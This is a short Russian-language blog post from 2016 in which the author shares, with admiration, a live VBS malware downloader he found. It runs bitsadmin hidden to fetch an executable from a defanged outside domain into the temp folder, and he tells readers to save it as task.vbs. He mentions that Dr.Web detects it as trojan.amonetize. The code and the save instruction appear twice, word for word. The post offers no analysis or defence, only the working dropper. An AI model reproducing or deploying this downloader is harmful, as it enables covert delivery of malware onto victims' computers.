Downloader на VBS/JS
Mar. 25th, 2016 06:47 pm![[personal profile]](https://www.dreamwidth.org/img/silk/identity/user.png){kind=small}
ewokeГоду в 2009, до утопания в пучине традинга, увлекался разной вирусней на разных языках пргря. И как-то набросал даунлоадер на Vbs/Js. Сейчас нашел в живом виде аналогичный, понравилось как элегантно оно сделано - через Bits (служба фоновой закачки).
Set WshShell = CreateObject("WScript.Shell")
cmds=WshShell.RUN("bitsadmin /transfer amijob /download /priority high hxxp://www.nice-doggy.xyz/run/Updater.exe %TEMP%/Updater.exe",0, False)
WScript.Sleep 300000
cmds=WshShell.RUN("bitsadmin /cancel amijob",0, False)
Set WshShell = Nothing
Это сохраняем в файл task.vbs
Drweb определяет как trojan.amonetize.
Set WshShell = CreateObject("WScript.Shell")
cmds=WshShell.RUN("bitsadmin /transfer amijob /download /priority high hxxp://www.nice-doggy.xyz/run/Updater.exe %TEMP%/Updater.exe",0, False)
WScript.Sleep 300000
cmds=WshShell.RUN("bitsadmin /cancel amijob",0, False)
Set WshShell = Nothing
Это сохраняем в файл task.vbs
Drweb определяет как trojan.amonetize.
